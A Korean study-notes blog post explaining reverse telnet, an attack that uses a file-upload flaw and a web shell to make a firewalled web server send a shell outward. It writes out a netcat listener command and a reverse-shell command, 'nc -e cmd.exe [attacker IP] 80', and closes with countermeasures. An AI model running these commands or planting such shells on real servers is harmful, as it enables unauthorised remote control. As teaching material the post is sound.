리버스 텔넷

2024. 10. 14. 13:06·Hacking/Network
728x90
반응형

파일 업로드에 대한 취약성이 있는 웹서버에 사용이 가능한 네트워크 해킹의 한 종류이다. (웹해킹이라고 볼 수도 있을까?)

텔넷 (Telnet) 

사용자가 서버에 원격 접속을 하기 위해서 사용

텔넷을 이용하여 서버에 원격 접속 요청을 하면, 사용자 인증을 한 후 쉘을 사용함

* 굉장히 취약하기 때문에 대부분 막혀있음

 

 

 

 

 

접근 보안

  • 일반적으로 웹 서버는 방화벽 내부에 존재
  • 웹 서버는 80번 포트를 이용한 웹 서비스만 제공
  • 방화벽은 외부 인터넷을 사용하는 사용자에 대해 80포트만 허용
  • 웹 서버의 텔넷이 열려있더라도 방화벽으로 인해 공격자가 외부에서 접근 불가

만약, 텔넷으로 접속할 수 있다면, 웹 서버에서 바로 쉘을 제공해줄 것이다.

하지만, 방화벽 등으로 인해 공격자가 텔넷으로 직접적으로 웹 서버에 접속할 수 없기에 

서버가 쉘을 실행시킨 후에, 이를 사용자에게 제공하는 방식인 리버스 텔넷을 사용한다.

 

리버스 텔넷

공격을 하기 위해 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요

 

방화벽의 인바운드 정책 

  • 외부에서 방화벽 내부로 들어오는 패킷에 대한 정책
  • 많은 필터링 정책으로 웬만하면 다 막음
  • 80번 포트 외에 필요한 포트를 제외하고 다 막음

방화벽의 아웃바운드 정책

  • 내부에서 외부로 나갈 대에 대한 정책
  • 별다른 필터링을 수행하지 않는 경우가 많음
  • 리버스 텔넷은 이러한 허점을 이용함

공격자는 텔넷을 사용하는 것과 유사하게 사용 가능함

 

리버스 텔넷 실행 과정 예시

서버 쪽에서 쉘이 실행이 되어 공격자에게 전송이 되도록 하는 것이 목표

 

이러한 동작을 어떻게 할 수 있는가?

nc라는 네트워크 관리 프로그램을 사용할 수 있음

nc(netcat)와 같은 리버스 텔넷용 툴을 서버 게시판의 파일 업로드 기능을 이용해 업로드 할 수 있다.

*해당 방법처럼 리버스 텔넷이 가능하려면 파일 업로드 취약점이 있어야한다.

 

공격자 PC 리버스 텔넷 데몬(daemon) 활성화

공격자가 nc를 서버에 게시하면, 서버로부터 무언가 전송이 되면 전부 받아야한다.

서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 리버스 텔넷 툴을 다음과 같이 실행한다.

nc -l -p 80

내 컴퓨터에서 port 80번으로 들어오는 모든 패킷을 Listen 하겠다는 명령어를 실행시킨다.

 

획득한 명령창을 통해 공격자에게 리버스 텔넷 전송

서버가 쉘을 실행을 시켜야한다.

즉, cmd.exe를 웹서버에서 실행을 한 결과를 공격자에게 전송해야한다.

서버에서 실행된 명령 프롬포트 창이 그대로 공격자에게 전송되는 것이다.

"nc 파일이 위치하는 전체 경로\nc" -e cmd.exe [공격자IP] 80

-e : 뒤에 오는 exe 파일을 실행시켜라

공격자 ip에 포트번호 80번으로 전송해라

 

 

따라서, 공격자 pc에서 nc로 웹서버에 원격 접속한 결과가 된다.

 

Q) nc를 이용해서 이러한 명령어를 어떻게 서버에서 실행시키는가?

A) cmd.asp와 같은 브라우저 창을 통해 쉘을 실행시킬 수 있는 창이 이미 업로드 되어있는 상태여야함. 
따라서 공격자가 웹서버의 내부 명령어를 수행할 수 있는 입력창을 미리 만들어둬야한다.

즉, 두 단계로 진행된다.

첫번째는 내부 명령어를 수행할 수 있는 입력창을 만들기

두번째는 내부 명령어에서 nc를 실행시켜 리버스 텔넷 공격하기

 

리버스 텔넷 창 획득

공격자 PC에서 서버 시스템에 연결된 것을 확인할 수 있음

공격자 PC는 이제 IP가 웹 서버의 IP로 나타나고, 우너격으로 웹서버에 접송 중이다

 

대응책

  • 파일 업로드 금지 또는 필터링
  • .asp 뿐만 아니라 리버스 텔넷 툴 같은 것을 실행하지 못하도록 exe나 com 같은 실행 파일도 업로드 금지
  • 내부에서 외부로의 불필요한 접속도 방화벽으로 필터링이 필요

 

 

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Hacking > Network' 카테고리의 다른 글

네트워크 보안 시스템  (2) 2024.10.13
무선 랜 보안  (1) 2024.10.13
Session Hijacking | 세션 하이재킹  (4) 2024.10.13
Spoofing | 스푸핑  (1) 2024.10.13
Sniffing | 스니핑  (0) 2024.10.12
'Hacking/Network' 카테고리의 다른 글
  • 네트워크 보안 시스템
  • 무선 랜 보안
  • Session Hijacking | 세션 하이재킹
  • Spoofing | 스푸핑
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Graph
    UTM
    DataStructure
    AI
    Web
    Mac
    DeepLearning
    WinAFL
    ComputerArchitecture
    Search
    Tree
    Sort
    OS
    Linux
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
리버스 텔넷
상단으로

티스토리툴바